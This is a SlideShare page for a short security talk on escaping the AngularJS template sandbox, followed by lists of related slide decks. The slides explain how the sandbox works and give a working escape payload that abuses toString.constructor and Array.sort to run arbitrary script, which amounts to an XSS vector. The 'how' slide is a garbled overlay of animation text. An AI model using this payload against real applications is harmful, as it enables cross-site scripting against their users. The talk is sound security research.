SlideShare a Scribd company logo
Breaking ngularJS 
Javascript sandbox 
A lightning talk by avlidienbrunn
What is AngularJS? And 
where’s the sandbox? 
• Javascript framework for building single page web 
applications. 
• Mustache style templates: Having <h1>{{1+2+3}}</h1> 
anywhere in Angular HTML app will render <h1>6</h1> 
• Template expressions are evaluated with Javascript 
• Template expression Javascript is sandboxed - It can’t 
reach [object Window] or DOM 
• If we could access dangerous objects from templates, we 
could XSS any AngularJS app that prints user data in 
Angular bound HTML
Executing JS… From JS 
• eval() - Unavailable under window 
• document.write - Unavailable under document 
• location=“javascript:” - Unavailable under 
document 
• Function(“code”)() - Unavailable under blacklist 
• What else is there?
The bypass 
toString.constructor.prototype.toString= 
toString.constructor.prototype.call; 
[“a”,"alert(1)"].sort(toString.constructor) 
alert(1)
The how 
if(if((toString.Function("compareFunction(function(constructor.a){a", alert("alert(1)}) 1)}).element1, 1)") prototype.== toString() == 1){ 
1){ 
element2) toString= 
== 1..toString()){ 
== 1){ 
toString.//{{sort toString.element constructor.constructor.as bigger 
prototype.prototype.call; 
toString= 
}else if((function(["if(… a","toString.alert(== a){0){ 
1)"].alert(constructor.sort(1)}).Function); 
call() prototype.== 1..toString()){ 
call; 
//sort element as same 
}else{ 
//sort element as smaller 
} 
//sort element as bigger 
}else if(… == 0){ 
//sort element as same 
}else{ 
//sort element as smaller 
} 
toString.constructor); 
[“a”,”alert(1)”].sort(toString.constructor)}} 
alert(1)
That’s all folks! 
+ = 
A lightning talk by avlidienbrunn

More Related Content

What's hot (20)

PDF
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich
 
PDF
HTML5 - The Good, the Bad, the Ugly
Mario Heiderich
 
PDF
The Future of Web Attacks - CONFidence 2010
Mario Heiderich
 
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
PDF
The Image that called me - Active Content Injection with SVG Files
Mario Heiderich
 
PDF
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Mario Heiderich
 
PDF
Generic Attack Detection - ph-Neutral 0x7d8
Mario Heiderich
 
PDF
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
PPTX
Dom based xss
Lê Giáp
 
PDF
I thought you were my friend - Malicious Markup
Mario Heiderich
 
PPT
XSS - Attacks & Defense
Blueinfy Solutions
 
PDF
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
PDF
So you thought you were safe using AngularJS.. Think again!
Lewis Ardern
 
PDF
The innerHTML Apocalypse
Mario Heiderich
 
PDF
Securing your AngularJS Application
Philippe De Ryck
 
PPTX
JSON SQL Injection and the Lessons Learned
Kazuho Oku
 
PDF
Reviewing AngularJS
Lewis Ardern
 
PPTX
Preventing In-Browser Malicious Code Execution
Stefano Di Paola
 
PDF
OWASP London - So you thought you were safe using AngularJS.. Think again!
Lewis Ardern
 
Dev and Blind - Attacking the weakest Link in IT Security
Mario Heiderich
 
HTML5 - The Good, the Bad, the Ugly
Mario Heiderich
 
The Future of Web Attacks - CONFidence 2010
Mario Heiderich
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
The Image that called me - Active Content Injection with SVG Files
Mario Heiderich
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Mario Heiderich
 
Generic Attack Detection - ph-Neutral 0x7d8
Mario Heiderich
 
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
Dom based xss
Lê Giáp
 
I thought you were my friend - Malicious Markup
Mario Heiderich
 
XSS - Attacks & Defense
Blueinfy Solutions
 
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
So you thought you were safe using AngularJS.. Think again!
Lewis Ardern
 
The innerHTML Apocalypse
Mario Heiderich
 
Securing your AngularJS Application
Philippe De Ryck
 
JSON SQL Injection and the Lessons Learned
Kazuho Oku
 
Reviewing AngularJS
Lewis Ardern
 
Preventing In-Browser Malicious Code Execution
Stefano Di Paola
 
OWASP London - So you thought you were safe using AngularJS.. Think again!
Lewis Ardern
 

Viewers also liked (19)

PDF
SQL Injection INSERT ON DUPLICATE KEY trick
Mathias Karlsson
 
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
PPTX
Crossing Origins by Crossing Formats
internot
 
PDF
Bug Bounty - Hackers Job
Arbin Godar
 
PDF
Hackfest presentation.pptx
Peter Yaworski
 
PDF
If You Can't Beat 'Em, Join 'Em (AppSecUSA)
bugcrowd
 
PDF
Writing vuln reports that maximize payouts - Nullcon 2016
bugcrowd
 
PDF
The Game of Bug Bounty Hunting - Money, Drama, Action and Fame
Abhinav Mishra
 
PPTX
Bug Bounty - Play For Money
Shubham Gupta
 
PDF
Bug Bounty Secrets
n|u - The Open Security Community
 
PPTX
Bug Bounty for - Beginners
Himanshu Kumar Das
 
PPTX
Bug Bounty 101
Shahee Mirza
 
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
PDF
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PDF
Synack cirtical infrasructure webinar
Synack
 
PDF
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
Synack
 
PDF
Zeronights 2016 - Automating iOS blackbox security scanning
Synack
 
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
PDF
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
 
SQL Injection INSERT ON DUPLICATE KEY trick
Mathias Karlsson
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
Crossing Origins by Crossing Formats
internot
 
Bug Bounty - Hackers Job
Arbin Godar
 
Hackfest presentation.pptx
Peter Yaworski
 
If You Can't Beat 'Em, Join 'Em (AppSecUSA)
bugcrowd
 
Writing vuln reports that maximize payouts - Nullcon 2016
bugcrowd
 
The Game of Bug Bounty Hunting - Money, Drama, Action and Fame
Abhinav Mishra
 
Bug Bounty - Play For Money
Shubham Gupta
 
Bug Bounty for - Beginners
Himanshu Kumar Das
 
Bug Bounty 101
Shahee Mirza
 
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
Synack cirtical infrasructure webinar
Synack
 
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
Synack
 
Zeronights 2016 - Automating iOS blackbox security scanning
Synack
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
 
Ad

Similar to Breaking AngularJS Javascript sandbox (6)

PDF
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
CODE BLUE
 
PPTX
How Secure Is AngularJS?
Ksenia Peguero
 
PDF
Are you botching the security of your AngularJS applications? (DevFest 2016)
Philippe De Ryck
 
PPTX
Angular Js
Knoldus Inc.
 
PDF
AngularJS: A framework to make your life easier
Wilson Mendes
 
PPTX
Angular js introduction
Thirumal737
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
CODE BLUE
 
How Secure Is AngularJS?
Ksenia Peguero
 
Are you botching the security of your AngularJS applications? (DevFest 2016)
Philippe De Ryck
 
Angular Js
Knoldus Inc.
 
AngularJS: A framework to make your life easier
Wilson Mendes
 
Angular js introduction
Thirumal737
 
Ad

Recently uploaded (20)

PPT
introductio to computers by arthur janry
RamananMuthukrishnan
 
PPT
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 
PPTX
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PPTX
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
PPTX
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
PPTX
一比一原版(LaTech毕业证)路易斯安那理工大学毕业证如何办理
Taqyea
 
PDF
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
PPTX
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
PPTX
Orchestrating things in Angular application
Peter Abraham
 
PPTX
internet básico presentacion es una red global
70965857
 
PDF
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
PPTX
英国假毕业证诺森比亚大学成绩单GPA修改UNN学生卡网上可查学历成绩单
Taqyea
 
PPTX
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
PPTX
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
PDF
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
PPTX
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
PDF
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
PPTX
西班牙武康大学毕业证书{UCAMOfferUCAM成绩单水印}原版制作
Taqyea
 
PPT
Computer Securityyyyyyyy - Chapter 1.ppt
SolomonSB
 
PPT
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 
introductio to computers by arthur janry
RamananMuthukrishnan
 
Computer Securityyyyyyyy - Chapter 2.ppt
SolomonSB
 
Optimization_Techniques_ML_Presentation.pptx
farispalayi
 
PE introd.pptxfrgfgfdgfdgfgrtretrt44t444
nepmithibai2024
 
一比一原版(SUNY-Albany毕业证)纽约州立大学奥尔巴尼分校毕业证如何办理
Taqyea
 
一比一原版(LaTech毕业证)路易斯安那理工大学毕业证如何办理
Taqyea
 
AI_MOD_1.pdf artificial intelligence notes
shreyarrce
 
L1A Season 1 ENGLISH made by A hegy fixed
toszolder91
 
Orchestrating things in Angular application
Peter Abraham
 
internet básico presentacion es una red global
70965857
 
Build Fast, Scale Faster: Milvus vs. Zilliz Cloud for Production-Ready AI
Zilliz
 
英国假毕业证诺森比亚大学成绩单GPA修改UNN学生卡网上可查学历成绩单
Taqyea
 
Lec15_Mutability Immutability-converted.pptx
khanjahanzaib1
 
PM200.pptxghjgfhjghjghjghjghjghjghjghjghjghj
breadpaan921
 
Azure_DevOps introduction for CI/CD and Agile
henrymails
 
法国巴黎第二大学本科毕业证{Paris 2学费发票Paris 2成绩单}办理方法
Taqyea
 
Apple_Environmental_Progress_Report_2025.pdf
yiukwong
 
西班牙武康大学毕业证书{UCAMOfferUCAM成绩单水印}原版制作
Taqyea
 
Computer Securityyyyyyyy - Chapter 1.ppt
SolomonSB
 
Agilent Optoelectronic Solutions for Mobile Application
andreashenniger2
 

Breaking AngularJS Javascript sandbox

  • 1. Breaking ngularJS Javascript sandbox A lightning talk by avlidienbrunn
  • 2. What is AngularJS? And where’s the sandbox? • Javascript framework for building single page web applications. • Mustache style templates: Having <h1>{{1+2+3}}</h1> anywhere in Angular HTML app will render <h1>6</h1> • Template expressions are evaluated with Javascript • Template expression Javascript is sandboxed - It can’t reach [object Window] or DOM • If we could access dangerous objects from templates, we could XSS any AngularJS app that prints user data in Angular bound HTML
  • 3. Executing JS… From JS • eval() - Unavailable under window • document.write - Unavailable under document • location=“javascript:” - Unavailable under document • Function(“code”)() - Unavailable under blacklist • What else is there?
  • 4. The bypass toString.constructor.prototype.toString= toString.constructor.prototype.call; [“a”,"alert(1)"].sort(toString.constructor) alert(1)
  • 5. The how if(if((toString.Function("compareFunction(function(constructor.a){a", alert("alert(1)}) 1)}).element1, 1)") prototype.== toString() == 1){ 1){ element2) toString= == 1..toString()){ == 1){ toString.//{{sort toString.element constructor.constructor.as bigger prototype.prototype.call; toString= }else if((function(["if(… a","toString.alert(== a){0){ 1)"].alert(constructor.sort(1)}).Function); call() prototype.== 1..toString()){ call; //sort element as same }else{ //sort element as smaller } //sort element as bigger }else if(… == 0){ //sort element as same }else{ //sort element as smaller } toString.constructor); [“a”,”alert(1)”].sort(toString.constructor)}} alert(1)
  • 6. That’s all folks! + = A lightning talk by avlidienbrunn